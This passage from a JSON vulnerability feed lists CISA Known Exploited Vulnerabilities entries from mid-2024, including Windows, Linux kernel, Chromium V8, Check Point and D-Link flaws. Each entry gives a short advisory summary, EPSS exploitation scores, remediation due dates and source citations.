improper privilege management vulnerability that allows a local attacker with user permissions to gain SYSTEM privileges.","detail":"CISA added this entry on 2024-06-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions or discontinue use of the product if updates are unavailable.","publishedAt":"2024-06-13","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-06-13","dueAt":"2024-07-04","action":"Apply updates per vendor instructions or discontinue use of the product if updates are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.03981,"percentile":0.90415,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-26169&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-26169","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-06-13","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-26169 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-26169&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-26169, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-32896","cveId":"CVE-2024-32896","aliases":[],"kind":"vulnerability","title":"Android Pixel Privilege Escalation Vulnerability","summary":"Android Pixel contains an unspecified vulnerability in the firmware that allows for privilege escalation.","detail":"CISA added this entry on 2024-06-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-06-13","updatedAt":null,"regions":["Global"],"vendor":"Android","product":"Pixel","stacks":["Android","Pixel"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-06-13","dueAt":"2024-07-04","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.02985,"percentile":0.87207,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-32896&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-32896","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-06-13","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-32896 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-32896&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-32896, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-4358","cveId":"CVE-2024-4358","aliases":[],"kind":"vulnerability","title":"Progress Telerik Report Server Authentication Bypass by Spoofing Vulnerability","summary":"Progress Telerik Report Server contains an authorization bypass by spoofing vulnerability that allows an attacker to obtain unauthorized access.","detail":"CISA added this entry on 2024-06-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-06-13","updatedAt":null,"regions":["Global"],"vendor":"Progress","product":"Telerik Report Server","stacks":["Progress (MOVEit, Telerik, WS_FTP)","Progress","Telerik Report Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-06-13","dueAt":"2024-07-04","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.97482,"percentile":0.99899,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-4358&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-4358","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-06-13","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-4358 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-4358&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-4358, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-4610","cveId":"CVE-2024-4610","aliases":[],"kind":"vulnerability","title":"Arm Mali GPU Kernel Driver Use-After-Free Vulnerability","summary":"Arm Bifrost and Valhall GPU kernel drivers contain a use-after-free vulnerability that allows a local, non-privileged user to make improper GPU memory processing operations to gain access to already freed memory.","detail":"CISA added this entry on 2024-06-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-06-12","updatedAt":null,"regions":["Global"],"vendor":"Arm","product":"Mali GPU Kernel Driver","stacks":["Arm","Mali GPU Kernel Driver"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-06-12","dueAt":"2024-07-03","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.00764,"percentile":0.55141,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-4610&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-4610","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-06-12","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-4610 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-4610&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-4610, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-3506","cveId":"CVE-2017-3506","aliases":[],"kind":"vulnerability","title":"Oracle WebLogic Server OS Command Injection Vulnerability","summary":"Oracle WebLogic Server, a product within the Fusion Middleware suite, contains an OS command injection vulnerability that allows an attacker to execute arbitrary code via a specially crafted HTTP request that includes a malicious XML document.","detail":"CISA added this entry on 2024-06-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-06-03","updatedAt":null,"regions":["Global"],"vendor":"Oracle","product":"WebLogic Server","stacks":["Oracle","WebLogic Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-06-03","dueAt":"2024-06-24","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.95991,"percentile":0.99874,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-3506&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-3506","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-06-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-3506 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-3506&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-3506, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-1086","cveId":"CVE-2024-1086","aliases":[],"kind":"vulnerability","title":"Linux Kernel Use-After-Free Vulnerability","summary":"Linux kernel contains a use-after-free vulnerability in the netfilter: nf_tables component that allows an attacker to achieve local privilege escalation.","detail":"CISA added this entry on 2024-05-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-05-30","updatedAt":null,"regions":["Global"],"vendor":"Linux","product":"Kernel","stacks":["Linux kernel","Linux","Kernel"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-05-30","dueAt":"2024-06-20","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.28058,"percentile":0.98093,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-1086&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-1086","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-05-30","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-1086 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-1086&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-1086, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-24919","cveId":"CVE-2024-24919","aliases":[],"kind":"vulnerability","title":"Check Point Quantum Security Gateways Information Disclosure Vulnerability","summary":"Check Point Quantum Security Gateways contain an unspecified information disclosure vulnerability. The vulnerability potentially allows an attacker to access information on Gateways connected to the internet, with IPSec VPN, Remote Access VPN or Mobile Access enabled. This issue affects several product lines from Check Point, including CloudGuard Network, Quantum Scalable Chassis, Quantum Security Gateways, and Quantum Spark Appliances.","detail":"CISA added this entry on 2024-05-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-05-30","updatedAt":null,"regions":["Global"],"vendor":"Check Point","product":"Quantum Security Gateways","stacks":["Check Point","Quantum Security Gateways"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-05-30","dueAt":"2024-06-20","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99978,"percentile":0.9998,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-24919&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-24919","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-05-30","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-24919 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-24919&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-24919, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-4978","cveId":"CVE-2024-4978","aliases":[],"kind":"vulnerability","title":"Justice AV Solutions (JAVS) Viewer Installer Embedded Malicious Code Vulnerability","summary":"Justice AV Solutions (JAVS) Viewer installer contains a malicious version of ffmpeg.exe, named fffmpeg.exe (SHA256: 421a4ad2615941b177b6ec4ab5e239c14e62af2ab07c6df1741e2a62223223c4). When run, this creates a backdoor connection to a malicious C2 server.","detail":"CISA added this entry on 2024-05-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-05-29","updatedAt":null,"regions":["Global"],"vendor":"Justice AV Solutions","product":"Viewer","stacks":["Justice AV Solutions","Viewer"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-05-29","dueAt":"2024-06-19","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.26937,"percentile":0.98025,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-4978&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-4978","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-05-29","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-4978 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-4978&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-4978, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-5274","cveId":"CVE-2024-5274","aliases":[],"kind":"vulnerability","title":"Google Chromium V8 Type Confusion Vulnerability","summary":"Google Chromium V8 contains a type confusion vulnerability that allows a remote attacker to execute code via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.","detail":"CISA added this entry on 2024-05-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-05-28","updatedAt":null,"regions":["Global"],"vendor":"Google","product":"Chromium V8","stacks":["Google Chrome","Google","Chromium V8"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-05-28","dueAt":"2024-06-18","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.0773,"percentile":0.94582,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-5274&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-5274","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-05-28","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-5274 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-5274&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-5274, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-17519","cveId":"CVE-2020-17519","aliases":[],"kind":"vulnerability","title":"Apache Flink Improper Access Control Vulnerability","summary":"Apache Flink contains an improper access control vulnerability that allows an attacker to read any file on the local filesystem of the JobManager through its REST interface.","detail":"CISA added this entry on 2024-05-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-05-23","updatedAt":null,"regions":["Global"],"vendor":"Apache","product":"Flink","stacks":["Apache","Flink"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-05-23","dueAt":"2024-06-13","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.97809,"percentile":0.99905,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-17519&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-17519","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-05-23","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-17519 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-17519&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-17519, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-43208","cveId":"CVE-2023-43208","aliases":[],"kind":"vulnerability","title":"NextGen Healthcare Mirth Connect Deserialization of Untrusted Data Vulnerability","summary":"NextGen Healthcare Mirth Connect contains a deserialization of untrusted data vulnerability that allows for unauthenticated remote code execution via a specially crafted request.","detail":"CISA added this entry on 2024-05-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-05-20","updatedAt":null,"regions":["Global"],"vendor":"NextGen Healthcare","product":"Mirth Connect","stacks":["NextGen Healthcare","Mirth Connect"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-05-20","dueAt":"2024-06-10","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.82708,"percentile":0.99664,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-43208&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-43208","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-05-20","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-43208 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-43208&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-43208, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-4947","cveId":"CVE-2024-4947","aliases":[],"kind":"vulnerability","title":"Google Chromium V8 Type Confusion Vulnerability","summary":"Google Chromium V8 contains a type confusion vulnerability that allows a remote attacker to execute code via a crafted HTML page.","detail":"CISA added this entry on 2024-05-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-05-20","updatedAt":null,"regions":["Global"],"vendor":"Google","product":"Chromium V8","stacks":["Google Chrome","Google","Chromium V8"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-05-20","dueAt":"2024-06-10","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.15236,"percentile":0.96736,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-4947&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-4947","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-05-20","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-4947 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-4947&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-4947, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2014-100005","cveId":"CVE-2014-100005","aliases":[],"kind":"vulnerability","title":"D-Link DIR-600 Router Cross-Site Request Forgery (CSRF) Vulnerability","summary":"D-Link DIR-600 routers contain a cross-site request forgery (CSRF) vulnerability that allows an attacker to change router configurations by hijacking an existing administrator session.","detail":"CISA added this entry on 2024-05-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"This vulnerability affects legacy D-Link products. All associated hardware revisions have reached their end-of-life (EOL) or end-of-service (EOS) life cycle and should be retired and replaced per vendor instructions.","publishedAt":"2024-05-16","updatedAt":null,"regions":["Global"],"vendor":"D-Link","product":"DIR-600 Router","stacks":["D-Link","DIR-600 Router"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-05-16","dueAt":"2024-06-06","action":"This vulnerability affects legacy D-Link products. All associated hardware revisions have reached their end-of-life (EOL) or end-of-service (EOS) life cycle and should be retired and replaced per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.43456,"percentile":0.9873,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2014-100005&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2014-100005","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-05-16","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2014-100005 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2014-100005&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2014-100005, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-40655","cveId":"CVE-2021-40655","aliases":[],"kind":"vulnerability","title":"D-Link DIR-605 Router Information Disclosure Vulnerability","summary":"D-Link DIR-605 routers contain an information disclosure vulnerability that allows attackers to obtain a username and password by forging a post request to the /getcfg.php page.","detail":"CISA added this entry on 2024-05-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"This vulnerability affects legacy D-Link products. All associated hardware revisions have reached their end-of-life (EOL) or end-of-service (EOS) life cycle and should be retired and replaced per vendor instructions.","publishedAt":"2024-05-16","updatedAt":null,"regions":["Global"],"vendor":"D-Link","product":"DIR-605 Router","stacks":["D-Link","DIR-605 Router"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-05-16","dueAt":"2024-06-06","action":"This vulnerability affects legacy D-Link products. All associated hardware revisions have reached their end-of-life (EOL) or end-of-service (EOS) life cycle and should be retired and replaced per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.86659,"percentile":0.99738,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-40655&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-40655","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-05-16","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-40655 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-40655&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-40655, scored 2026-10-25. This is a model estimate, not proof of 